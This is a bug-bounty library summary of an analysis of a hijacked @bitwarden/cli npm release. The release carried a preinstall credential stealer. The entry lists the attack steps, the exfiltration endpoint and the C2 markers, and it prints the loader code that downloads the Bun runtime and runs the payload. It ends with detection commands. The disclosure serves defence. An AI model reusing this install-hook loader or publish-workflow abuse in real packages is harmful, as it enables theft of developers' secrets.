# Bitwarden CLI Hijacked on npm: Bun-Staged Credential Stealer Targets Developers, GitHub Actions, and AI Tools

Compromised Bitwarden engineer GitHub account used OIDC Trusted Publishing to ship @bitwarden/cli@2026.4.0 with a Bun-staged credential stealer exfiltrating dev, cloud and AI-tool secrets.

- Payout: Real-world hack
- Severity: critical
- Program: Bitwarden CLI
- Analysis by: StepSecurity
- Disclosed: 2026-05-04
- Write-up quality: 8/10
- Original: https://www.stepsecurity.io/blog/bitwarden-cli-hijacked-on-npm-bun-staged-credential-stealer-targets-developers-github-actions-and-ai-tools
- Library page: https://bugbountylibrary.com/r/blog%3Astepsecurity-io-blog-bitwarden-cli-hijacked-on-npm-bun-staged-credential-stealer-targets-developers-github-actions-and-a
- Tags: area:oss domain:oss impact:data-leak impact:internal-access kind:incident platform:threat-intel sev:critical tech:github-actions tech:nodejs technique:chained technique:source-review vuln:secrets-leak

**Target:** npm package @bitwarden/cli and GitHub Actions publish workflow
**Root cause:** Attacker with a compromised Bitwarden engineer GitHub account pushed a branch rewriting publish-cli.yml to exchange a GitHub Actions OIDC token for an npm auth token and publish a staged tarball; npm Trusted Publishing lacks branch-level restrictions and no environment approval gate existed.
**Steps:**
1. Compromise Bitwarden engineer's GitHub account
2. Create branch in bitwarden/clients staging prebuilt malicious tarball (clean 2026.3.0 build + bw_setup.js + bw1.js, package.json bumped to 2026.4.0 with `"preinstall": "node bw_setup.js"`)
3. Rewrite publish-cli.yml to exchange GitHub Actions OIDC token for npm auth token via registry API
4. Publish staged tarball to npm as @bitwarden/cli@2026.4.0
5. Delete workflow runs, branch and release tag
6. On victim install, preinstall runs bw_setup.js which downloads Bun v1.3.13 from `https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/` and executes `bw1.js`
7. bw1.js harvests SSH keys, npm/GitHub tokens, AWS/GCP creds, shell history, .env, ~/.claude.json and MCP configs
8. Encrypt with AES-256-GCM and POST to `https://audit.checkmarx.cx/v1/telemetry` (94.154.172.43)
9. Fallback C2 via GitHub commit markers `LongLiveTheResistanceAgainstMachines:<base64>` and `beautifulcastle <base64>.<base64>`, or push encrypted blob to repo under victim account
10. Weaponize stolen GitHub tokens: enumerate repos, list Actions secrets, create branches, inject malicious workflows, pull prior run artifacts
**How found:** StepSecurity AI Package Analyst diffs every npm publish against package history: flagged first-ever preinstall hook, two undocumented files (bw_setup.js, bw1.js) absent from git history, and install-time Bun runtime download; version mismatch (package.json 2026.4.0 vs embedded metadata 2026.3.0) confirmed artifact injection rather than clean rebuild.
**Exploitation:** Attacker used a compromised maintainer GitHub account to abuse npm OIDC Trusted Publishing as the publish channel, shipping a functional CLI with a silent preinstall stealer. Stolen secrets encrypted and exfiltrated to a typosquatted Checkmarx domain; valid GitHub tokens escalated to workflow injection across all reachable repos, pivoting a single dev machine into supply chain compromise.
**Escalation:** GitHub token weaponization: enumerate repos, extract Actions secrets, inject malicious workflows, pull prior artifacts — turning one compromised developer into persistent CI/CD access.
**Insight:** Diff every new package publish against prior releases for newly added lifecycle scripts and files with no git history; a version mismatch between package.json and embedded build metadata fingerprints tarball tampering. OIDC Trusted Publishing without branch restrictions or environment approval gates is itself an attack surface.

## Proof of concept (copied exactly from the original report)

**Malicious preinstall hook in package.json**

```
Version 2026.4.0 added "preinstall": "node bw_setup.js" — code that fires automatically before any application logic runs, before any human reviews the output.
```

**Bun loader execution flow in bw_setup.js**

```
try {
 execFileSync("bun", ["--version"], { stdio: "ignore" });
 return; // bun already present, use it
} catch {}

// Download bun-v1.3.13 for the detected platform/arch from GitHub
const downloadUrl = `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${assetName}`;
const zipBuf = await get(downloadUrl);

// Extract and execute the payload
execFileSync(bunPath, ["bw1.js"], { stdio: "inherit" });
```

**Detection commands for compromised install**

```
npm list @bitwarden/cli 2>/dev/null | grep "2026\.4\.0"
cat package-lock.json | grep -A1 '"@bitwarden/cli"' | grep "2026\.4\.0"
2. Check for malicious files in node_modules:

ls node_modules/@bitwarden/cli/bw_setup.js 2>/dev/null && echo "COMPROMISED"
ls node_modules/@bitwarden/cli/bw1.js 2>/dev/null && echo "COMPROMISED"
```

